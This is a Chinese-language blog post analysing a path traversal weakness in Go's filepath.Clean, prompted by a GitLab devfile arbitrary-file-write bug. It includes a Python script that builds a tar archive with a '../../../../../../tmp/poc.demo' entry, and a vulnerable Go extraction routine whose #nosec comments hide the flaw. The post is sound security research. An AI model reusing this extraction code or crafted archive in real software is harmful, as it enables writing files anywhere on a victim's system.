golang filepath.Clean目录遍历的代码特性
前言:分析gitlab的devfile任意文件写入漏洞中看到的,这边进行记录该filepath.Clean函数的特性
filepath.Clean
运行下面的代码,存在目录遍历的情况下,绝对路径和相对路径的不同处理,如下图所示
path_test.go
package main import ( "fmt" "path/filepath" "testing" ) func TestDemo1(*testing.T) { a := filepath.Clean("../../../../tmp/a/b/c/d/e") fmt.Println(a) b := filepath.Clean("/../../../../tmp/a/b/c/d/e") fmt.Println(b) }
-
当filepath.Clean处理绝对路径的时候,存在目录遍历的路径进行归一化处理
-
当filepath.Clean处理相对路径的时候,存在目录遍历的路径不会进行归一化处理
案例
由于filepath.Clean在对绝对路径和相对路径处理目录遍历的情况不同,这边如果碰到在解压情景下就会出现问题。比如解压目的变量通过filepath.Clean处理,但是该变量字符串如果通过相对路径进行指定路径解压的话,那么就会绕过filepath.Clean的归一化处理,并且进行目录遍历将其目的文件解压到任意的目录。
这边通过python来生成tar压缩包来进行测试,这边的话mock一个存在目录遍历的文件名称../../../../../../tmp/poc.demo
,如下图所示
generate_tar.py
import tarfile import io # 创建一个BytesIO对象来代表1.txt的内容 file_content = io.BytesIO(b"123456") # 文件名和内容 file_name = "../../../../../../tmp/poc.demo" # 目标.tar.gz文件名 tar_name = "example.tar.gz" with tarfile.open(tar_name, "w:gz") as tar: # 创建一个TarInfo对象,它包含了添加到tar文件中的文件信息 info = tarfile.TarInfo(name=file_name) info.size = len(file_content.getvalue()) # 把"file_content"作为一个文件添加到tar文件里 file_content.seek(0) # 移动到流的开始位置 tar.addfile(tarinfo=info, fileobj=file_content) print(f"{tar_name} has been created successfully.")
这边的话就通过main.go来进行模拟解压测试,可以看到通过相对路径的方式成功的目录跳跃到/tmp/路径中,如下图所示
main.go
package main import ( "archive/tar" "compress/gzip" "fmt" "io" "log" "os" "path" "path/filepath" ) const ( // Supported Devfile media types DevfileMediaType = "application/vnd.devfileio.devfile.layer.v1" DevfileVSXMediaType = "application/vnd.devfileio.vsx.layer.v1.tar" DevfileSVGLogoMediaType = "image/svg+xml" DevfilePNGLogoMediaType = "image/png" DevfileArchiveMediaType = "application/x-tar" OwnersFile = "OWNERS" ) var ( DevfileMediaTypeList = []string{DevfileMediaType} DevfileAllMediaTypesList = []string{DevfileMediaType, DevfilePNGLogoMediaType, DevfileSVGLogoMediaType, DevfileVSXMediaType, DevfileArchiveMediaType} ExcludedFiles = []string{OwnersFile} ) func isExcluded(name string, excludeFiles []string) bool { basename := filepath.Base(name) for _, excludeFile := range excludeFiles { if basename == excludeFile { return true } } return false } // decompress extracts the archive file func decompress(targetDir string, tarFile string, excludeFiles []string) error { var returnedErr error reader, err := os.Open(filepath.Clean(tarFile)) if err != nil { return err } gzReader, err := gzip.NewReader(reader) if err != nil { return returnedErr } tarReader := tar.NewReader(gzReader) for { header, err := tarReader.Next() if err == io.EOF { break } else if err != nil { return returnedErr } if isExcluded(header.Name, excludeFiles) { continue } target := path.Join(targetDir, filepath.Clean(header.Name)) switch header.Typeflag { case tar.TypeDir: err = os.MkdirAll(target, os.FileMode(header.Mode)) if err != nil { return returnedErr } case tar.TypeReg: /* #nosec G304 -- target is produced using path.Join which cleans the dir path */ w, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode)) if err != nil { return returnedErr } /* #nosec G110 -- starter projects are vetted before they are added to a registry. Their contents can be seen before they are downloaded */ _, err = io.Copy(w, tarReader) if err != nil { return returnedErr } err = w.Close() if err != nil { return returnedErr } default: log.Printf("Unsupported type: %v", header.Typeflag) } } return nil } // main // @Description: 测试 func main() { targetDir := "/Users/xxxx/study-something/golang/filepathClean/tarGzDir" tarFile := "example.tar.gz" demo1 := decompress(targetDir, tarFile, ExcludedFiles) }
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY